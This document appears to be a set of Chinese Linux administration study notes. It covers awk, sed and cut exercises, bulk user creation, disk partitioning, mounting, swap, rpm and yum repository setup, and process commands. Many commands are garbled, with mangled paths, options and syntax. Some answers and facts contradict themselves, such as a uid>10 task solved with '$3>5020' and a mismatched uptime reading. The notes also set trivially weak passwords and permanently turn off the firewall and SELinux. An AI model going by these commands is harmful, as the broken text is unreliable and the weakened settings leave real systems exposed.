[root@oldboy ~]# ifconfig eth0|awk 'NR==2{print $2}'
把要取的内容两边相邻的一堆内容做分隔符。
[root@oldboy ~]# ifconfig eth0|awk -F "(inet )|( netm)" 'NR==2{print $2}'
10.0.0.130
#<==竖线正则的意思表示匹配或者左边或者右边,小括号是分组作为一个整体,即以“addr:”或“ Bcast:”做分隔符
多分隔符用法:
[root@oldboy ~]# echo "1::::2====3----4"|awk -F "[:=-]+" '{print $1,$2,$3,$4}'
1 2 3 4
[:=-] #里面任意一个做分隔符
[:=-]+ #遇到[]里的任意多个字符算一个。
#上述不同的分隔符连续也算一个。
[root@oldboy ~]# echo "1:::==:2==::==3----4"|awk -F "[:=-]+" '{print $1,$2,$3,$4}'
1 2 3 4
用awk取stat /etc/hosts结果的644
解:先取行,在取列。
[root@oldboy ~]# stat /etc/hosts|awk 'NR==4'
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
[root@oldboy ~]# stat /etc/hosts|awk -F "[0/]" 'NR==4{print $2}'
644
带条件的AWK
【内容模糊匹配】 这道题在过滤日志信息的时候常用,示例如下。 问题6:过滤文件中第一列内容匹配root的字符串,把符合的行的最后一列输出。
[root@oldboy ~]# awk -F ":" '$1~/root/ {print $NF}' test.txt
#<==$1~/root/表示第一列内容匹配root条件,$NF表示最后一列。
#/etc/passwd
awk -F ":" '$1~/oldboy/{print $NF}' /etc/passwd
过滤下列test1.txt文件中第三列内容分数大于70,并且小于95的人名和性别。
[root@oldboyedu ~]# cat test1.txt
张三 男 80
李四 女 70
王五 男 90
赵六 女 100
解答:
[root@oldboy ~]# awk '$3>70&&$3<95{print $1,$2}' test1.txt
张三 男
王五 男
【Linux三剑客课后测试小题及答案】
1.用sed将/etc/passwd文件的第1行至最后1行重定向到/oldboy.txt
sed -n '1,$p' /etc/passwd >/oldboy.txt
#$表示最后一行。
2.显示oldboy.txt第3至第7行
[root@oldboy ~]# sed -n '3,7p' /oldboy.txt
[root@oldboy ~]# awk 'NR==3,NR==7' /oldboy.txt
[root@oldboy ~]# awk 'NR>2&&NR<8' /oldboy.txt
3.使用sed取出oldboy.txt文件内虚拟用户dbus的[备注说明]信息部分
[root@oldboy ~]# sed -rn 's#^.*1:(.*):/:.*$#\1#gp' /oldboy.txt
System message bus
4.使用awk取oldboy.txt用户名列及家目录列并显示行号
awk -F ":" '{print NR,$1,$6}' /oldboy.txt
5.oldboy.txt中,打印用户uid大于10的行
awk -F: '$3>5020{print $0}' /oldboy.txt
6.更改oldboy.txt文件,把里面所有的“root”更改为“oldboy"
[root@oldboy ~]# sed -i.bak 's#root#oldboy#g' /oldboy.txt
7.在oldboy.txt文件的第11行新增一行"hello world"
[root@oldboy ~]# sed '11i hello world' /oldboy.txt|sed -n '10,12p'
8.在oldboy.txt文件第三、四行分别插入内容I am liuyan. I come from henan.
sed -i '3i I am liuyan.\nI come from henan.' /oldboy.txt
9.写出用tar打包压缩/home/目录所有文件为一个压缩文件home.tar.gz放到/root/目录的完整命令,
并写出解压的完整命令
tar zcf /root/home.tar.gz /home/
tar xf /root/home.tar.gz
10.批量创建oldboy01..oldboy10个用户,并将用户前的数字作为该用户密码
============================echo “新密码”|passwd --stdin 用户名==================================
1)想一条命令如何实现:
useradd oldboy01;echo 01|passwd --stdin oldboy01
useradd oldboy02;echo 02|passwd --stdin oldboy02
"useradd oldboy"$1" && echo "$1"|passwd --stdin oldboy"$1
.....
2)开始拼接
[root@oldboy ~]# seq -w 10|awk '{print "useradd oldboy"$1" && echo "$1"|passwd --stdin oldboy"$1}'
useradd oldboy01 && echo 01|passwd --stdin oldboy01
[root@oldboy ~]# seq -w 10|awk '{print "useradd oldboy"$1" && echo "$1"|passwd --stdin oldboy"$1}'|bash
方法1:
seq -w 10|sed -r 's#(.*)#useradd oldboy\1;echo \1|passwd --stdin oldboy\1#g'
seq -w 10|sed -r 's#(.*)#useradd oldboy\1;echo \1|passwd --stdin oldboy\1#g'|bash
思维常用。
方法2:
for user in 'cat /root/list';
do
useradd $user
echo "123456" | passwd --stdin $user
echo "密码写入成功"
done
方法3:
批量创建用户;
seq -w 10|sed -r 's#(.*)#useradd oldboy\1#g'
批量设置密码:
seq -w 10|sed -r 's#(.*)#oldboy\1:\1#g' >/root/user.list
chpasswd < /root/user.list
方法4:
seq -w 10|sed -rn 's#(.*)#useradd oldboy\1;echo oldboy\1:\1|chpasswd#gp'|bash
方法5:
seq -w 10|awk '{print "useradd oldboy"$1" && echo "$1"|passwd --stdin oldboy"$1}'|bash
拼接:
1)心里要知道拼啥东西,必须先明确
ffff test01
ffff test02
ffff test03
ffff test04
2)先输出变化的东西
[root@oldboy ~]# seq 4
3)拼:
[root@oldboy ~]# seq 4|sed -r 's#(.*)#ffff test0\1#g'
11.过滤出/etc/passwd文件中所有虚拟用户.
awk -F: '$3>0&&$3<1000{print $1}' /etc/passwd
12.查看磁盘对应分区inode总量以及inode使用百分比,过滤格式为"/dev/sdx : 99",不要%.
[root@oldboy ~]# df -i|awk -F"[ %]+" '/dev\/sd/{print $1":"$2,$5}'
/dev/sda1:524288 1
13.过滤/etc/passwd文件中UID大于0并且小于1000用户,取文件的第一列、第三列和最后一列内容,并打印行号.
awk -F: '$3>0&&$3<1000{print NR,$1,$3,$NF}' /etc/passwd
中文乱码: 1)调解xshell属性-终端-字符集-简体中文gb18030(只调一个就好了) 2)如果还不行做如下调整: [root@oldboy ~]# tail -2 /etc/profile #export LANG='en_US.UTF-8' export LANG='zh_CN.UTF-8 生效: . /etc/profile
cut 切
-d 指定分隔符(awk -F)
-f数字指定哪列,多列可用逗号或-
-c 按字符取内容
指定冒号为分隔符,取第一列
cut -d: -f1 /etc/passwd
取多列:
cut -d ":" -f1,6,7 /etc/passwd
取连续多列(1-3列)
cut -d ":" -f1-3 /etc/passwd
按字符取
[root@oldboy ~]# echo oldboy|cut -c 1-3 #取1-3个字符
[root@oldboy ~]# echo oldboy oldgirl|cut -c 1-3,8-10 #取1-3以及8-10字符
[root@oldboy ~]# echo oldboy oldgirl|cut -c 1-3,7-10
扇区:Sector
1.盘面由圆心向四周画直线,不同的磁道被直线分成许多扇形(弧形)的区域,每个弧形的区域叫做扇区。
2.每个扇区大小一般为512字节。
3.扇区看起来就是圆弧或扇形。
4.磁盘存放数据的最小单位。
5.扇区是磁道上一段圆弧。
扇区三维地址的三个数字:
1)扇区所在的磁头、磁道以及扇区号。
2)存放数据的数据段,专门存放数据。*
*柱面:Cylinder
1.柱面是相同半径,不同盘面的磁道组成。
2.柱面的编号和磁道编号意向。。0磁道组成的柱面叫做0柱面。
3.柱面大小=磁道大小*磁头数
磁盘容量的计算算法
每个盘片有两个面,每个面有一个读写磁头,因此,一般我们习惯用磁头号来区分盘面。扇区,磁道(或柱面)和磁头数构成了磁盘结构的基本参数,通过这些参数可以得到磁盘的容量,基计算公式为:
计算方法一:
存储容量=磁头数×磁道数(或柱面数)×每磁道的扇区数×每扇区的字节数
计算方法二:
存储容量=柱面大小(每磁道的扇区数×每扇区的字节数×磁头数)*柱面数(磁道数)
提示:一块磁盘的磁道数和柱面数的数量是永远相等的。
举个生产环境MYSQL数据库的磁盘大小计算例子:
[root@mysql-1-2 ~]# fdisk -l
Disk /dev/sda: 598.8 GB, 598879502336 bytes
255 heads, 63 sectors/track, 72809 cylinders
Units = cylinders of 16065(255*63) * 512 = 8225280 bytes
磁盘大小:
方法1:
512字节*扇区数/每磁道=一个磁道的大小
512字节*扇区数*磁道数=一个盘面的大小
512字节*扇区数*磁道数*磁头数=磁盘的大小
磁盘的大小=磁道数*磁头数*512字节*扇区数
磁盘显示:
磁盘大小=柱面数*柱面大小
磁盘大小=磁道数*(磁道大小*磁头数)
磁盘大小=磁道数*磁头数*512字节*扇区数
磁盘设备
分区命名知识/ dev IDE: / dev/ hda,第一块盘 / dev/ hdb,第二块盘 scsI (SAs ,SATA): / dev / sda,第一块盘 / dev / sdb,第一块盘 分区命名: / dev / sda1 / dev / sda2
磁盘分区类型和各自特点
DOS分区表:只能用于小于2T的硬盘(常用)。
GPT分区表:万能分区表(小于2T,大于2T都可以)。
1)主分区(Primary)
a.必须存在的分区。
b.装系统(第一个主分区)c.
主分区数量不能超过4个。
d.分区编号,只能是1-4
主分区特点小结:
1)是系统中必须要存在的分区,系统盘一般会选择主分区安装系统。
2)分区数字编号只能是1-4,例如:scsCI分区名为sda1、sda2、sda3、sda4。3)主分区最多四个,最少一个。
想分超过4个分区,怎么办?
2))扩展分区(Extend)
a .独立小磁盘,有独立分区表,不能直接放数据。
b.占用主分区分区编号(2-4) 。
c.最多只能有1个。
d.必须在其下划分逻辑分区。
e.主分区+扩展分区最多4个。
3)逻辑分区( logical)
a.不能独立存在,必须在扩展分区之上。
b.编号最小是5,及以上。
c.存放数据。
fdisk分区命令 -l 查看分区信息 Command action d delete a partition #删除分区 m print this menu #打印帮助 n add a new partition #添加新分区 p print the partition table #打印分区表 q quit without saving changes #退出不保存 w write table to disk and exit #保存并退出 [ root@oldboy ~]# fdisk /dev / sdb #开始分区 还没保存:查不到磁盘上对应的分区:[root@oldboy ~]#lsblk 通知内核分区表已经修改。 [ root@oldboy ~]# partprobe / dev / sdb 使用mkfs进行格式化。 mkfs.xfs / dev/ sdb1 使用mount进行挂载。 mount /dev / sdb1 /mnt
#mkfs选项:(从来不用)
# -b设定数据区块(block)占用空间大小,目前支持1024、2048、4096 bytes每个块,默认4K。#-t用来指定什么类型的文件系统,可以是ext4, xfs
#-i设定inode的大小,默认256字节。
#-N设定inode数量,防止Inode数量不够导致磁盘不足
vmware添加一块磁盘/ dev/ sdc
不重启生效
[ root@oldboy ~] #fdisk -l | grep sdb
[root@oldboy ~]# echo "- - -" >/sys/class/scsi host/ host0 / scan
[ root@oldboy ~]#fdisk -l | grep sdc
Disk /dev/sdc: 1073 MB,1073741824 bytes,2097152 sectors
磁盘挂载mount命令
1.什么是挂教? 磁盘在格式化后,挂载前,是不能被正常使用的。象一个没门没窗的小监狱。做个门,这个门就是目录。例如/data。 安装门的过程就是挂载,mount /dev / sdb1 /data 如果需要使用磁盘的空间,需要准备一个空的目录作为挂载点,与该设备进行关联。mount主要是为文件系统指定一个访问的入口。 PS:类似自己的家没有门,那么就无法进入,此时通过mount命令可以创建一个入口。给家安装一个门。 2.通过mount进行挂载,只能临时生效,只要重启系统就会失效。 #选项: -t 指定文件系统。mount -t ext4 /dev /sdb2 -a 挂载/etc/fstab配置文件中的配置。mount -a -o 指定挂载的参数(权限、功 能、允许SUID)。 #挂载/dev / sdb1至/mnt目录 [ root@oldboy ~]# mount -t xfs /dev / sdb1/mnt#1.使用blkid命令获取各设备的UUID [ root@oldboy mnt] #blkid /dev/sdb1: UUID="22427209-d1b1-45c3-946a-ab82c33ecbaa" TYPE="xfs" #2.使用UUID替代设备名挂载 [ root@oldboy /]# mount UUID="22427209-d1b1-45c3-946a-ab82c33ecbaa" /mnt [ root@oldboy / ]# df -h / grep mnt #选项: -l 卸载 #1.指定挂载点卸载 [ root@oldboy ~]#umount / mnt #2.指定设备卸载 [ root@oldboy ~] #umount / dev / sdb1 #3.umount不能卸载的情况 (1)处于当前挂载目录 [ root@oldboy mnt ] # umount /mntumount: / mnt: device is busy. (In some cases useful info about processes that usethe device is found by lsof (8 ) or fuser ( 1) #Ps:如上情况解决办法有两种, 1.切换至其他目录卸载 2.使用'-l'选项强制卸载 [ root@oldboy mnt ] #umount -l /mnt 通过/etc/ fstab实现永久挂载 如果需要实现永久挂载则需要将挂载信息写入/etc/fstab配置文件中实现。 #写入/etc/ fstab中,实现开机自动挂载 [ root@oldboy ~] # tail -1 letc/ fstab UUID=e271b5b2-b1ba-4b18-bde5-66e394fbdf21a /mnt xfs defaults 0 0
*第四列: defaults里挂载的参数参数含义
async/sync是否为同步方式运行。默认async
user/nouser是否允许普通用户使用mount命令挂载。默认nouserexec/noexec是否允许可执行文件执行。默认exec
suid/nosuid是否允许存在suid属性的文件。默认suid
auto/noauto执行mount -a命令时,此文件系统是否被主动挂载。默认autorw/ro是否以只读或者读写模式进行挂载。默认rw
defaults具有rw,suid,dev, exec,auto, nouser, async等默认参数的设定
#加载fstab配置文件,进行挂载,同时检测语法是否有错误 [ root@oldboy ~] #mount -a #实现通过/etc/rc.local挂载 (#不建议放到rc.local,应用软件启动可。)/etc/rc.local需要被授权执行权限 [ root@oldboy ~]# chmod +x /etc/rc.d/rc.local #授权 /usr/bin/mount /dev / sdc1 /data
虚拟分区swap知识
1.什么是swap分区? swap是一个虚拟的内存空间, 作用是当系统的物理内存不够时,将硬盘空间的一部分空间释放出来,以供当前运行的程序使用。 PS:当物理内存不够时会随机kill占用内存的进程,从而产生oom,使用swap可以弥补内存不足, 防止重要的进程被系统kill。 2.到底要不要用swap分区 1)数据库服务器不用swap分区(256G)。就是mysql,程序单一。并且还有监控。 2)常规情况,都要用swap。云主机有没有swap?
.如何将磁盘空间划分一部分给swap使用
1.找一块硬盘划分1G分区,使用己有磁盘空间,dd或fdisk
2.格式化为swap分区mkswap / dev / sdb1
3.通过swapon -a /dev /sdb1 将该设备加入swap
4.使用free -m检查swap的大小 free -m
5.如果不想使用swap了 swapoff / dev / sdb1移除
如上操作都是临时的,如需永久生效,需要将配置添加到/etc/fstab
*4.如果磁盘没有过多的分区可用,也可以通过文件增加SwAP空间,本质上还是磁盘*
[ root@oldboy ~]# dd if=/dev/zero of=/opt/swap_file bs=1M count=500
[ root@oldboy ~]#chmod 0600 /opt / swap _file
[ root@oldboy ~] # mkswap -f lopt /swap file[ root@oldboy ~] #swapon / opt/ swap_filer
[ root@oldboy ~]#free -m
Ps:如果希望swap开机自动挂载,将swap信息追加至/etc/fstab即可。
swap知识总结:
1 SWAP是当物理内存不够时,临时将磁盘空间作为内存顶替使用
2如果没有swap,物理内存不够,系统会启用保护机制,然后kill掉某个占用内存的程序3 如果有swap,物理内存不够时,会使用swap作为内存,系统就会开始变得比较慢。
补dd命令:dd 命令
if=/ dev / zero
#来源,/ dev / zero生产数据,用来创建新文件。
of=/ opt/ swap file#生成的文件
bs=1M
#block size
count=500
#block数量
dd模拟一个分区:
dd if=/dev /zero of=/dev / sdd1 bs=1M count=500mkfs.xfs / dev / sdd1
mount / dev / sdd1 /mntdf -h
cd /mnt touch a
#/dev/loop0(循环文件接口))是一种伪设备,这种设备使得文件可以如同块设备一般被访问。
内存泄漏
a.让开发查找程序泄露问题,这是解决问题的根本。 b.同时运维也可以临时增大一些swap大小(这个问题治标不治本,关键还是找到程序问题才行)。 c.优化内核参数,让系统尽量使用内存而不是swap(使用swap的系统会很慢)。 d.清空swap
虚拟内存使用故障处理与优化
***************1.让系统优先使用物理内存而不是swap
[ root@oldboy ~]# cat /proc/sys/vm/Swappiness #<==默认值。
30
编辑内核文件sysctl.conf,加入vm.swappiness = 5,配置过程如下
[ root@oldboy ~]# tail -1 l etc/sysctl.conf #<==查看编辑后的内容。
vm.swappiness=5
[ root@oldboy ~]# sysctl -p #<==价值内核参数配置生效。
vmswappiness = 5 #<==swappiness=0时,系统会最大限度使用物理内存,如果内存不足,扔会占用swap分区,swappiness=100时系统会积极使用swap分区,并且把内存上数据及时加载到swap里。Centos7默认设置为30。
[root@oldboy ~]# cat /proc/sys/vm/swappiness #<===通过proc来查看更改结果。10
[root@oldboy ~]# echo 5 >/proc /sys/vm/swappines #<==也可以直接这样调整,然后将命令加载到rc.local文件里。
******************2.直接清空swap分区数据和缓存数据
[root@oldboy ~]# sync #<==将缓冲区数据写入磁盘(强制将block数据写入磁盘,更新超级块)。
[root@oldboy ~]# echo 1 > /proc/sys/vm/drop_caches #<==清空cache缓存区。
[ root@oldboy ~]# cat /proc/ sys/vm/drop caches
1
[ root@oldboy ~]#swapoff -a #<==关闭swap分区。
[ root@oldboy ~]#swapon -a #<==重启开启swap分区。
文件系统
文件系统是一种【存储和组织计算机中数据文件的机制或方法】它使得对计算机内的数据的存储、访问和查找变得更容易、简单。 落到计算机里其实就是一个【应用软件】。 如ext2、ext 3(CentOS5.x)、ext4(CentOS6.x)、xfs (CentOS7.x)、zfs和Reiserfs或FArT、NTFs等都是常见文件系统。 为什么磁盘分区后需要格式化? 磁盘分区在没有格式化前,操作系统是无法识别系统上磁盘分区格式的,也就无法存取文件目录属性和权限等内容,把分区格式化成 操作系统支持的某个文件系统后,再存放数据,系统就会根据这个文件系统的格式进行存取文件了。
磁盘性能指标及获取命令
iostat命令 选项 -c:仅显示CPU使用情况;-d:仅显示设备利用率; -k:显示状态以千字节每秒为单位,而不使用块每秒;-m:显示状态以兆字节每秒为单位; -p:仅显示块设备和所有被使用的其他分区的状态;-t:显示每个报告产生时的时间; -V:显示版号并退出; -x:显示扩展状态。 #iotop I 前两行分别表示,进程的磁盘读写大小总数和磁盘真实的读写大小总数
rpm包管理介绍
1.什么是rpm包?
RPM全称RPM Package Manager,由红帽公司开发用于软件包的安装、升级、卸载与食佣的包管理工具。
RPM包命名以“-”将包名分成了若干部分。
.如何获取rpm软件包? 1)CentOS7的镜像文件自带。 2)通过联网的方式去官方或镜像站获取rpm包。 3)特定软件官方网站获取软件包。 1.命令格式 rpm[选项] [软件包名称] 选项 描述 -i 安装rpm -v 显示安装详细信息 -h 显示安装rpm进度 -U 如果老版本不存在则安装新版本,存在则升级新版本
查询rpm包
(1)查询常用选项选项描述 rpm -q查看指定软件包是否安装 rpm -qa查看系统中已安装的所有RPM软件包列表 rpm -qi查看指定软件的详细信息 rpm -ql查询指定软件包所安装的目录、文件列表 rpm -qc查询指定软件包的【配置文件】 rpm -qf查询文件或目录属于哪个RPM软件 rpm -qip查询未安装的rpm包详细信息 rpm -qlp查询未安装的软件包会产生哪些文件
卸载常用选项
(1)卸载常用选项选项 描述 -e 卸教软件 --force 强制 --nodeps 忽略依赖关系 yum remove #卸载依赖,永远不用。安装了不用理他,不启动就可以了。
rpm -ivh包名可以是:
1网址http://nginx.org/packages/centos/7/x86_64/RPMS/nginx-1.18.0-2.el7.ngx.x86_64.rpm
2全路径带包名
3.包名
[ root@oldboy ~]#cd /usr / src/
[ root&oldboy src]I wget http://nginx.org/packages/centos/7/x86 64/RPMS/nginx-1.18.0-2.el7.ngx.x86_64.rpm[root@oldboy src]# rpm -ivh nginx-1.18.0-2.el7.ngx.x86_64.rpm
rpm -Uvh包名
wget http://nginx.org/packages/centos/7/x86_64/RPMS/nginx-1.20.0-1.el7.ngx.x86_64.rpm
[ root@oldboy src]# rpm -Uvh nginx-1.20.0-1.el7.ngx.x86_64.rpm
yum智能软件包管理
1.什么是 yum? Yum是 RedHat以及CentOS中的软件包管理器。能够通过互联网下载.rpm 包并且安装,并可 以自动处理依赖性关系,无须繁琐地一次次下载、安装。(PS: yum是生产常用安装工具)
2.什么是yum源 要想使用yum工具安装、更新软件,就需要有一个包含各种 rpm软件包的软件仓库,这样的软件仓库就称为yum源。 yum源分为: 1)互联网yum源。 (阿里云、网易、清华源) 2)局域网yum源。(自己做一个yum源,http/ftp)。1.速度快2.编译rpm放到yum源 3)服务器本地yum源。(上不了网,把iso 作为yum源)。
1)互联网阿里云yum源配置
#默认系统是国外源,需要替换为国内的源
wget -q -0 /etc/yum. repos. d/CentOS-Base.repo \http://mirrors.aliyun.com/repo/Centos-7.repo
curl -s -o /etc/yum.repos.d/CentOS-Base. repo http://mirrors.aliyun.com/repo/Centos-7.repo
2)互联网epel源配置
#扩展源,有很多软件在基本源中没有
wget -q -0 /etc/yum. repos.d/epel.repo lhttp://mirrors.aliyun.com/repo/epel-7.repo
curl -s -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
方法3:
yum install epel-release
1.使用yum查询软件包的方式 [root@oldboy ~]#yum list [root@oldboy ~]# yum list tree#不需要yum list/grep tree. [root@oldboy ~]#yum info ftp#看软件包详细信息 yum卸载yum reinstall [] #列出 yum源可用的软件仓库 [root@oldboy ~]# yum repolist #列出全部yum源可用和禁用的仓库 [root@oldboy ~]# yum repolist all #查找某个命令或文件属于那个软件包(生产常用) [root@oldboy ~]#yum provides /etc/my.cnf[root@oldboy ~]# yum provides cd yum为什么要缓存? sed -i.bak 's#keepcache=O#keepcache=1#g' /etc/yum.conf 1)配置yum仓库,rpm来源。 2 ) rpm更新了,老的就找不到了。 #安装环境组包,桌面环境包。(刚刚开始选择的最小默认安装) yum groupinstall "GNOME Desktop" yum groupinstall "Smart Card support"#写一起 yum groupinstall "GNOME Desktop" "Smart Card Support" #yum删除包组 [ root@oldboy ~]#yum groups remove -y Base
[ root@oldboy ~]#yum search --help
yum [options] COMMAND
clean删除缓存数据★★★★★
install向系统中安装一个或多个软件包★★★★★
list列出一个或一组软件包★★★★★
check检查RPM数据库问题
check-update检查是否有可用的软件包更新
deplist列出软件包的依赖关系
downgrade降级软件包
erase从系统中移除一个或多个软件包
groups显示或使用、组信息★
help显示用法提示
history显示或使用事务历史
info显示关于软件包或组的详细信息
load-transaction从文件名中加载一个已存事务makecache创建元数据缓存★★
provides查找提供指定内容的软件包大大大大 大
reinstall覆盖安装软件包
repo-pkgs将一个源当作一个软件包组,这样我们就可以一次性安装/移除全部软件包
repolist显示已配置的源★
search在软件包详细信息中搜索指定字符串★
shell 运行交互式的yum shell
update更新系统中的一个或多个软件白**★
upgrade更新软件包同时考虑软件包取代关系**★
version显示机器和/或可用的源版本。
配置本地光盘镜像仓库
- rpm包来源光盘镜像
- [ root@oldboy ~]# mount /dev/cdrom /mnt mount: /dev/sr0 is write-protected,mounting read-only [ root@oldboy ~]# ls / mnt
- 让现有的yum源配置失效 [root@oldboy ~]# gzip /etc/ yum.repos.d/*
4.配置本地光盘源 vim /etc/ yum.repos.d/ CentoS7-Cdrom.repo [CentoS7-Cdrom] name=This is local cdrom by oldboy for 77. baseurl=file: ///mnt enabled=1 gpgcheck=0
[ centos7-Cdrom]#仓库名称 name #仓库描述信息 baseurl #YUM源url地址,可以是file://(本地) ftp://(局域网)http://(公网) enabled #是否使用该YUM源(0代表禁用,1代表激活) gpgcheck #是否验证软件签名(0代表禁用,1代表激活)
5.生成缓存,并测试 [ root@oldboy ~] #yum makecache yum install bind
搭建局域网YUM仓库实践(公有已省)
1.服务端进行yum仓库的搭建准备工作 #1.关闭防火墙与selinux [ root@oldboy ~]# systemctl stop firewalld#关闭防火墙 [ root@oldboy ~]#systemctl disable firewalld #取消开机自启动[rootoldboy ~] # setenforce 0 #临时关闭selinx。 [root@oldboy ~]# sed -i 's#SELINUX=enforcing#SELINUX=disable#g' /etc/selinux/config #永久关闭 [ root@oldboy ~] # getenforce #查看selinux状态
2.使用什么传输方式协议提供仓库 file:// http:// 方法1: yum install httpd -y systemctl start httpd #软件包放这里/var/ html /www 方法2: mkdir /var/ html / www cd /var/ html/ www python -m simpleHTTPServer 80 &>/ dev/null & ftp:// yum install vsftpd -y #/var/ ftp #.安装ftp传输工具 [ root@oldboy ~]#yum install vsftpd -y#安装 [ root@oldboy ~]# systemctl start vsftpd #启动 [ root@oldboy ~]# netstat -lntupl grep vsftp #检查端口21 tcp6oo : : : 21: ::* L工STEN 66822/vsftpd [root@oldboy ~]# systemctl enable vsftpd #开机自启动 浏览器测试:ftp://10.0.0.129/ #.开启yum缓存功能 [ root@oldboy ~]# grep keepcache /etc/ yum.confkeepcache=0 [root@oldboy yum.repos.d]# sed -i 's#keepcache=0#keepcache=1#g' /etc/yum.conf [ root@oldboy ~]# yum clean all #5创建yum仓库本地目录,并创建元数据以及拷贝rpm base软件包 [ root@oldboy ~] #mkdir /var/ftp/centos7 [root@oldboy ~]# createrepo /var/ftp/centos7/ (创建元数据) [ root@oldboy ~]#ls /var/ftp/centos7/ 拷贝rpm包 [ root@oldboy ~]# mount / dev / cdrom /mnt [ rootloldboy ~]# cp -rp /mnt/Packages/.rpm /var/ftp/centos7 #安装ftp客户端工具,然后测试ftp服务是否可用 [ root@oldboy ~]#yum install lftp -y [ root@oldboy Packages]#lftp 10.o.0.129 ######想放其他rpm包。 1)去其他网站,找到rpm包,放到这里。 2)源码===》编译成rpm包,放到这里。 [root@oldboy yum.repos.d]# find /var/cache/yum -name "* .rpm" -exec cp !} /var/ftp/centos7 l; [ root@oldboy yum.repos.d] # find /var/ftp-name "sl一*" /var/ftp/centos7/ sl-5.02-1.el7.x86 64.rpm [root@oldboy yum.repos.d]# createrepo --update /var/ftp/centos7/ #每加入一个rpm包就用此命令更新一下YUM仓库 #.客户端配置yum源指向服务端 客户端配置并使用base基础源 [ root@yum_client ~]# gzip /etc/yum.repos.d/* [ root@yum_client ~]#cat >letc/ yum. repos.d/ centos7.repo<<EOF [ centos7] name=centos7 base baseurl-ftp://10.0.0.129/centos7enabled=1 gpgcheck=0EOF #.测试 yum install sl 一ysl #over
Linux系统进程介绍
什么是进程? 计算机应用软件或代码程序被执行,运行于内存中的时候,就称之为进程。 软件或程序运行成为进程后,系统会为其分配分配内存资源,并分配PID,文件描述符、网络端口. 运行用户等资源。 在进程运行的过程中,系统会有各种指标来表示当前运行的状态。 进程(process) 程序或者软件被运行起来后的产物,存在于内存中,运行结束进程就会消失。 守护进程(daemon process) 除了具备普通进程特点外,还为提供某种服务而持续运行,如:运行着的Linux sshd。 程序/代码(program/code) 代码文件或应用软件文件,比如ls命令,永久放在磁盘中,可以看得见实体文件,把程序或软件运行起来就是进程,持续运行着,就是守护进程。 查看进程 ps命令: ps命令用于列出执行ps命令的那个时刻的进程快照,就像用手机给进程照了一张照片。动态查看top 常用: -e显示所有进程※ 一f额外显示UID、PPID、c与STIME栏位※ 常用命令: ps -ef
PID为1的初始进程,C7:systemd, c6:init输出信息中各列的说明如下。
UID:进程被该UID所拥有,程序运行必须要有用户,一般是虚拟用
户。
PID: 进程的标识号;Process ID
PPID:进程的父进程的标识号;c: CPU使用的资源百分比;
STIME:进程开始的时间;
TTY :该进程是在哪个终端机上面运作,若与终端机无关,则显示?,另外,
tty1-tty6是本机上面的登入者进程,若为pts/0等,则表示为由网络连接进主机的进程;TIME:进程所使用的总的CPU时间;
CMD:正在执行的命令行。
文里使用BSD语法格式显示每个进程信息。 [root@oldboy ~]# ps aux# #<== BSD格式参数,使用a选项和x选项显示所有进程,使用u选项显示进程的用户信息。
输出信息中各列的说明如下。
USER:该进程属于的用户;
PID :该进程的进程号;
%CPU:该进程使用掉的cPU资源百分比;
%MEM:该进程所占用的物理内存百分比;
VSz : (Virtual size)进程占用的虚拟内存量(单位Kb);RSs :该进程占用的物理内存大小(单位Kb);
TTY :该进程是在哪个终端机上面运作的,若与终端机无关,则显示?,另外,tty1-tty6是本机上面登入者进程,若为pts/o等,表示为由网络连接进主机进程;
STAT:该进程目前的状态
(1) AIx格式: ps -eo "%p %y%x %c"
语法说明:,-e是显示所有进程,-o可以自定义输出指定的字段,
以逗号分隔,支持的字段见下面代码。
pstree:显小进程状态树【功能说明】
pstree命令以树形结构显示进程和进程之间的关系。
pgrep:查找匹配条件的进程
【功能说明】pgrep命令可以查找匹配条件的进程号。【语法格式】pgrep[选项][ 匹配条件]
【选项说明】-u显示指定用户的所有进程号
[ root@oldboy ~]# pgrep crond
2496
[ root@oldboy ~]# pstree -p 2496crond (2496)
[ root@oldboy ~] # pstree -p pgrep crondcrond (2496)
[ root@oldboy ~] # pgrep -u nobody
top:实时显示系统中各个进程的资源占用状况
【语法格式】top[选项]
参数选项 解释说明(带※的为重点)
-a 将进程按照使用内存排序
-b 以批处理模式显示进程信息,输出结果可以传递给其他程序或写入到文件中。
-c 显示进程的整个命令路径,而不是只显示命令名称
-d 指定每两次屏幕信息刷新之间的时间间隔(top -d 1)
-H 指定这个可以显示每个线程的情况,否则就是进程的总的状态-i不显示闲置或者僵死的进程信息
-n top输出信息更新的次数,完成后将退出top命令
-p显示指定的进程信息(top -p进程号)
重点: top输出
top - 01:12:32 up 2 days,2:47,2 users, load average: 0.00,0.01,0.05
第一行:任务队列信息,同uptime命令的执行结果。
01:12:32 当前系统时间。
up 2 days,2:47系统已经运行了1天16小时36分。
2 users当前有2个用户登录系统。
load average:0.00,0.01,0.05 - load averaae平均负载情况★***
★后面的三个数分别是1分钟、5分钟、15分钟的平均负载情况。
【体现系统繁忙的重要简单的查看指标】
%Cpu(s): 0.0 us,0.0 sy,0.0 ni,100.0 id,0.0 wa,0.0 hi,0.0 si,0.0 st
第二行,Tasks为任务(进程)。
从上面的信息可以看出,
系统现在共有105个进程,其中处于运行状态的有1个,
104个在休眠(sleep),stoped状态0个,zombie状态(僵死)的有0个。
STAT: 该进程目前的状态,主要的状态包括
R:正在运行,或者是可被运行。
s : 正在中断睡眠中,可被某些信号(signal)唤醒。
D :不可中断睡眠。
T :正在侦测或者是停止了。
2:已经终止,但是其父进程无法正常终止他,造成zombie(疆尸)进程的状态。
第三行,CPU状态信息。
0.0% us 用户空间占用CPU的百分比(如:应用程序、执行命令)。
0.0% sy 内核空间古用CPU的百分比(如:内核进程、硬件操作)。
0.0% ni 改变过优先级的进程占用cPU的百分比。
100.0% id 空闲CPU百分比,数值越大,CPU越空闲。
0.0% wa IO等待占用cPU的百分比。
0.0% hi 硬中断(Hardware IRQ)占用cPU的百分比。
0.0% si 软中断( Software Interrupts)占用CPu的百分比。
0.0%st 虚拟机占用cPU的百分比。
进程杀手。
- kill 2 ) killall 3 ) pkill
【进程前后台切换】
